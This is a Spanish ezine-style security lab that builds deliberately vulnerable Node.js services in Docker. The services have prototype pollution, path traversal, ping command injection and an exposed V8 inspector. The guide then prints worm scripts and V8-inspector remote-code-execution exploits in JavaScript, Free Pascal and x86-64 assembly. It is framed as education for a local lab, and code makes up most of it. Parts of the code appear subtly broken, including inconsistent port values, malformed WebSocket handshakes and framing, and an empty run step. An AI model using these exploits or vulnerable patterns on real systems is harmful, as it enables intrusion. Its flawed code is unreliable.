Crónicas de un Pascalista en la Era del NPM

— O cómo sobrevivir al apocalipsis de la abstracción


🧪 Laboratorio Ético: Análisis de Microservicios Vulnerables en Node.js

Advertencia: Este material es exclusivamente educativo.
Todos los ejemplos deben ejecutarse en un entorno aislado (Docker local).
Nunca usar contra sistemas reales.


📁 Estructura del Lab

node-worm-lab/
├── docker-compose.yml
├── services/
│   ├── service-a/          # Vulnerable a prototype pollution
│   ├── service-b/          # Path traversal + RCE light
│   └── service-c/          # Inspector de V8 expuesto
└── worm/
    ├── worm.js             # Worm en JavaScript (educativo)
    ├── worm_fp.pas         # Worm en Free Pascal
    ├── v8_exploit_fp.pas   # Exploit del Inspector V8 en Pascal
    └── v8_exploit.asm      # Exploit en ensamblador x86-64

1️⃣ docker-compose.yml

version: '3'
services:
  service-a:
    build: ./services/service-a
    ports:
      - "3001:3000"
    networks:
      - wormnet

  service-b:
    build: ./services/service-b
    ports:
      - "3002:3000"
    networks:
      - wormnet

  service-c:
    build: ./services/service-c
    ports:
      - "3003:3000"
      - "9229:9229"
    networks:
      - wormnet

  attacker:
    image: alpine:latest
    volumes:
      - ./worm:/worm
    working_dir: /worm
    command: sleep 3600
    networks:
      - wormnet

networks:
  wormnet:
    driver: bridge

2️⃣ Servicio A: Prototype Pollution

services/service-a/app.js

const express = require('express');
const merge = require('lodash.merge');
const app = express();
app.use(express.json());

let config = { isAdmin: false };

app.post('/update', (req, res) => {
  merge(config, req.body);
  res.json({ status: 'updated', config });
});

app.get('/debug', (req, res) => {
  res.json({ config, isAdmin: config.isAdmin });
});

app.listen(3000, '0.0.0.0', () => {
  console.log('Service A running on 3000');
});

services/service-a/package.json

{
  "name": "service-a",
  "main": "app.js",
  "dependencies": {
    "express": "^4.18.0",
    "lodash.merge": "^4.6.2"
  }
}

services/service-a/Dockerfile

FROM node:18
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
CMD ["node", "app.js"]

3️⃣ Servicio B: Path Traversal + RCE Light

services/service-b/app.js

const express = require('express');
const fs = require('fs');
const { exec } = require('child_process');
const app = express();

app.get('/file', (req, res) => {
  const file = req.query.path || 'readme.txt';
  fs.createReadStream(file).on('error', () => {
    res.status(404).send('Not found');
  }).pipe(res);
});

app.get('/ping', (req, res) => {
  const host = req.query.host || '127.0.0.1';
  exec(`ping -c 1 ${host}`, (err, stdout) => {
    res.send(`<pre>${stdout}</pre>`);
  });
});

app.listen(3000, '0.0.0.0');

4️⃣ Servicio C: Inspector V8 Expuesto

services/service-c/app.js

const express = require('express');
const app = express();

app.get('/', (req, res) => {
  res.send('Service C - con inspector ABIERTO 👀');
});

app.listen(3000, '0.0.0.0');

services/service-c/Dockerfile

FROM node:18
WORKDIR /app
COPY package*.json ./
RUN npm install express
COPY . .
CMD ["node", "--inspect=0.0.0.0:9229", "app.js"]

5️⃣ Worm en JavaScript (Educación)

worm/worm.js

const axios = require('axios');
const fs = require('fs');

const TARGETS = [
  'http://service-a:3000',
  'http://service-b:3000',
  'http://service-c:3000'
];

async function infectServiceA() {
  try {
    await axios.post('http://service-a:3000/update', {
      "__proto__.isAdmin": true
    });
    console.log('[+] Service A: prototype pollution exitoso');
    fs.writeFileSync('/tmp/infected_service_a.txt', 'PWNED by weón - prototype pollution\n');
  } catch (e) {
    console.log('[-] Service A: falló');
  }
}

async function infectServiceB() {
  try {
    const res = await axios.get('http://service-b:3000/file?path=/etc/passwd');
    if (res.data.includes('root')) {
      console.log('[+] Service B: path traversal exitoso');
      fs.writeFileSync('/tmp/infected_service_b.txt', 'PWNED by weón - path traversal\n');
    }
  } catch (e) {
    console.log('[-] Service B: falló');
  }
}

function infectServiceC() {
  console.log('[+] Service C: inspector V8 expuesto (¡listo para RCE real!)');
  fs.writeFileSync('/tmp/infected_service_c.txt', 'PWNED by weón - V8 inspector abierto\n');
}

async function main() {
  console.log('🚀 Worm educativo activado (solo en lab local)');
  await infectServiceA();
  await infectServiceB();
  infectServiceC();
  console.log('✅ Propagación simulada. Revisa /tmp/ en cada contenedor.');
}

main();

6️⃣ Worm en Free Pascal

worm/worm_fp.pas

{$mode objfpc}{$H+}

uses
  SysUtils, Sockets, Classes, StrUtils;

const
  TARGETS: array[0..2] of string = (
    'service-a',
    'service-b',
    'service-c'
  );
  HTTP_PORT = 3000;
  INSPECTOR_PORT = 9229;

function CheckPort(const Host: string; Port: Word): Boolean;
var
  Sock: LongInt;
  Addr: THostAddr;
  SockAddr: TInetSockAddr;
begin
  Result := False;
  Addr := HostToAddr(Host);
  if Addr = INADDR_NONE then Exit;

  Sock := fpSocket(AF_INET, SOCK_STREAM, 0);
  if Sock = -1 then Exit;

  SockAddr.sin_family := AF_INET;
  SockAddr.sin_port := htons(Port);
  SockAddr.sin_addr.s_addr := Addr;

  if fpConnect(Sock, @SockAddr, SizeOf(SockAddr)) = 0 then
    Result := True;

  fpClose(Sock);
end;

function SendHTTPGet(const Host: string; const Path: string): string;
var
  Sock: LongInt;
  Addr: THostAddr;
  SockAddr: TInetSockAddr;
  Request, Buffer: string;
  Bytes: LongInt;
  Stream: TStringStream;
begin
  Result := '';
  Addr := HostToAddr(Host);
  if Addr = INADDR_NONE then Exit;

  Sock := fpSocket(AF_INET, SOCK_STREAM, 0);
  if Sock = -1 then Exit;

  SockAddr.sin_family := AF_INET;
  SockAddr.sin_port := htons(HTTP_PORT);
  SockAddr.sin_addr.s_addr := Addr;

  if fpConnect(Sock, @SockAddr, SizeOf(SockAddr)) <> 0 then
  begin
    fpClose(Sock);
    Exit;
  end;

  Request := Format('GET %s HTTP/1.1'#13#10+
                    'Host: %s'#13#10+
                    'Connection: close'#13#10#13#10,
                    [Path, Host]);

  fpSend(Sock, PChar(Request), Length(Request), 0);

  Stream := TStringStream.Create('');
  SetLength(Buffer, 1024);
  repeat
    Bytes := fpRecv(Sock, PChar(Buffer), Length(Buffer), 0);
    if Bytes > 0 then
      Stream.Write(Buffer[1], Bytes);
  until Bytes <= 0;

  Result := Stream.DataString;
  Stream.Free();
  fpClose(Sock);
end;

procedure InfectServiceA;
begin
  if CheckPort('service-a', HTTP_PORT) then
    WriteLn('[+] Service A: puerto 3000 abierto (posible prototype pollution)');
end;

procedure InfectServiceB;
var
  Response: string;
begin
  if CheckPort('service-b', HTTP_PORT) then
  begin
    Response := SendHTTPGet('service-b', '/file?path=/etc/passwd');
    if Pos('root:', Response) > 0 then
      WriteLn('[+] Service B: path traversal posible')
    else
      WriteLn('[?] Service B: puerto abierto, pero no confirmado');
  end;
end;

procedure InfectServiceC;
begin
  if CheckPort('service-c', INSPECTOR_PORT) then
    WriteLn('[!] Service C: ¡Inspector V8 expuesto en puerto 9229! (RCE trivial)');
end;

procedure LeaveMark;
var
  F: TextFile;
begin
  AssignFile(F, '/tmp/infected_by_fp.txt');
  Rewrite(F);
  WriteLn(F, 'PWNED by weón - Worm educativo en Free Pascal (2024)');
  WriteLn(F, 'Binario limpio. Sin node_modules. Sin tonteras.');
  CloseFile(F);
  WriteLn('[*] Marca dejada en /tmp/infected_by_fp.txt');
end;

begin
  WriteLn('🚀 Worm en Free Pascal activado (modo educativo)');
  WriteLn('Escaneando red local...');

  InfectServiceA;
  InfectServiceB;
  InfectServiceC;

  LeaveMark;
  WriteLn('✅ Análisis completado. Estudia las fallas, no las explotes en producción.');
end.

7️⃣ Exploit del Inspector V8 en Free Pascal

worm/v8_exploit_fp.pas

{$mode objfpc}{$H+}

uses
  SysUtils, Sockets, Classes, StrUtils, Base64;

const
  TARGET_HOST = 'service-c';
  INSPECTOR_PORT = 9229;

function HandshakeWebSocket(const Host: string): LongInt;
var
  Sock: LongInt;
  Addr: THostAddr;
  SockAddr: TInetSockAddr;
  Request, Response, Buffer: string;
  Bytes: LongInt;
begin
  Result := -1;
  Addr := HostToAddr(Host);
  if Addr = INADDR_NONE then Exit;

  Sock := fpSocket(AF_INET, SOCK_STREAM, 0);
  if Sock = -1 then Exit;

  SockAddr.sin_family := AF_INET;
  SockAddr.sin_port := htons(INSPECTOR_PORT);
  SockAddr.sin_addr.s_addr := Addr;

  if fpConnect(Sock, @SockAddr, SizeOf(SockAddr)) <> 0 then
  begin
    fpClose(Sock);
    Exit;
  end;

  Request := 'GET /json HTTP/1.1'#13#10 +
             'Host: ' + Host + ':' + IntToStr(INSPECTOR_PORT) + #13#10 +
             'Connection: close'#13#10#13#10;

  fpSend(Sock, PChar(Request), Length(Request), 0);

  SetLength(Buffer, 4096);
  Bytes := fpRecv(Sock, PChar(Buffer), Length(Buffer), 0);
  Response := Copy(Buffer, 1, Bytes);

  if Pos('"devtoolsFrontendUrl"', Response) = 0 then
  begin
    WriteLn('[-] No se encontró endpoint de WebSocket');
    fpClose(Sock);
    Exit;
  end;

  fpClose(Sock);

  Sock := fpSocket(AF_INET, SOCK_STREAM, 0);
  if fpConnect(Sock, @SockAddr, SizeOf(SockAddr)) <> 0 then
  begin
    fpClose(Sock);
    Exit;
  end;

  Request := 'GET /' + #13#10 +
             'Host: ' + Host + ':' + IntToStr(INSPECTOR_PORT) + #13#10 +
             'Upgrade: websocket'#13#10 +
             'Connection: Upgrade'#13#10 +
             'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ=='#13#10 +
             'Sec-WebSocket-Version: 13'#13#10#13#10;

  fpSend(Sock, PChar(Request), Length(Request), 0);
  Bytes := fpRecv(Sock, PChar(Buffer), Length(Buffer), 0);
  if (Bytes <= 0) or (Pos('101 Switching Protocols', Buffer) = 0) then
  begin
    WriteLn('[-] Handshake WebSocket fallido');
    fpClose(Sock);
    Exit;
  end;

  Result := Sock;
end;

procedure SendWebSocketFrame(Sock: LongInt; const Data: string);
var
  Frame: array of Byte;
  i, Len: Integer;
begin
  Len := Length(Data);
  SetLength(Frame, 2 + Len);
  Frame[0] := $81;
  if Len <= 125 then
    Frame[1] := Len
  else
    raise Exception.Create('Mensaje muy largo');

  for i := 0 to Len - 1 do
    Frame[2 + i] := Ord(Data[i + 1]);

  fpSend(Sock, @Frame[0], Length(Frame), 0);
end;

function RecvWebSocketFrame(Sock: LongInt): string;
var
  Header: array[0..1] of Byte;
  PayloadLen, i: Integer;
  Payload: array of Byte;
begin
  fpRecv(Sock, @Header, 2, 0);
  PayloadLen := Header[1] and $7F;

  if PayloadLen > 125 then
  begin
    Result := '';
    Exit;
  end;

  SetLength(Payload, PayloadLen);
  fpRecv(Sock, @Payload[0], PayloadLen, 0);

  SetLength(Result, PayloadLen);
  for i := 0 to PayloadLen - 1 do
    Result[i + 1] := Chr(Payload[i]);
end;

procedure ExploitV8(Sock: LongInt);
var
  Msg, Response: string;
begin
  Msg := '{"id":1,"method":"Runtime.evaluate","params":{"expression":'+
         '"require(\"'+'child_process\"+'+'\").exec(\"'+'echo PWNED_BY_FP > /tmp/v8_pwned.txt\"+'+'\")"}}';

  WriteLn('[*] Enviando payload de RCE...');
  SendWebSocketFrame(Sock, Msg);

  Response := RecvWebSocketFrame(Sock);
  if Pos('"result"', Response) > 0 then
    WriteLn('[+] ¡RCE exitoso! Revisa /tmp/v8_pwned.txt en service-c')
  else
    WriteLn('[-] Algo falló: ' + Copy(Response, 1, 200));
end;

begin
  WriteLn('💥 Exploit del Inspector de V8 en Free Pascal');
  WriteLn('Conectando a ' + TARGET_HOST + ':' + IntToStr(INSPECTOR_PORT));

  var Sock := HandshakeWebSocket(TARGET_HOST);
  if Sock = -1 then
  begin
    WriteLn('[-] No se pudo conectar');
    Halt(1);
  end;

  ExploitV8(Sock);
  fpClose(Sock);
end.

8️⃣ Exploit en Ensamblador x86-64 (Linux)

worm/v8_exploit.asm

section .data
    target_ip dd 0x040012ac   ; 172.18.0.4 (ajustar según docker inspect)
    target_port dw 0x9d24     ; 9229

    ws_handshake db 'GET / HTTP/1.1',13,10
                  db 'Host: service-c:9229',13,10
                  db 'Upgrade: websocket',13,10
                  db 'Connection: Upgrade',13,10
                  db 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==',13,10
                  db 'Sec-WebSocket-Version: 13',13,10
                  db 13,10
    ws_handshake_len equ $ - ws_handshake

    payload db '{"id":1,"method":"Runtime.evaluate","params":{"expression":'
             db '"require(\"child_process\").exec(\"echo ASM_PWNED > /tmp/asm_pwned.txt\")"'
             db '}}'
    payload_len equ $ - payload

    msg_start db '💀 ASM Exploit V8 - Conectando...',10,0
    msg_ok    db '[+] ¡RCE exitoso! Revisa /tmp/asm_pwned.txt',10,0
    msg_fail  db '[-] Falló',10,0

section .bss
    sock_fd resd 1
    buffer resb 4096

section .text
    global _start

_start:
    mov rax, 1
    mov rdi, 1
    mov rsi, msg_start
    mov rdx, 35
    syscall

    mov rax, 41
    mov rdi, 2
    mov rsi, 1
    mov rdx, 0
    syscall
    mov [sock_fd], rax

    mov rax, 42
    mov rdi, [sock_fd]
    mov rsi, sockaddr
    mov rdx, 16
    syscall
    cmp rax, 0
    jl exit_fail

    mov rax, 1
    mov rdi, [sock_fd]
    mov rsi, ws_handshake
    mov rdx, ws_handshake_len
    syscall

    mov rax, 0
    mov rdi, [sock_fd]
    mov rsi, buffer
    mov rdx, 4096
    syscall

    mov rax, 1
    mov rdi, [sock_fd]
    mov rsi, payload
    mov rdx, payload_len
    syscall

    mov rax, 0
    mov rdi, [sock_fd]
    mov rsi, buffer
    mov rdx, 100
    syscall

    mov rax, 3
    mov rdi, [sock_fd]
    syscall

    mov rax, 1
    mov rdi, 1
    mov rsi, msg_ok
    mov rdx, 52
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

exit_fail:
    mov rax, 1
    mov rdi, 1
    mov rsi, msg_fail
    mov rdx, 12
    syscall
    mov rax, 60
    mov rdi, 1
    syscall

section .data
sockaddr:
    .family dw 2
    .port   dw 0x242d
    .ip     dd 0x040012ac
    .zero   dq 0

▶️ Cómo Ejecutar el Laboratorio

  1. Crear la estructura de carpetas y archivos.
  2. Levantar los servicios:
    docker-compose up --build
    
  3. Entrar al contenedor atacante:
    docker-compose exec attacker sh
    
  4. Instalar herramientas:
    apk add nodejs npm fpc nasm
    
  5. Ejecutar los exploits:
  6. Verificar infección:
    docker-compose exec service-c cat /tmp/asm_pwned.txt
    

🧠 Lecciones Clave


"No se trata de usar la herramienta más nueva…
sino de entender la que usas hasta el último bit."


// EOF — Archivar como ezine. Imprimir en papel. Leer bajo luz de terminal verde.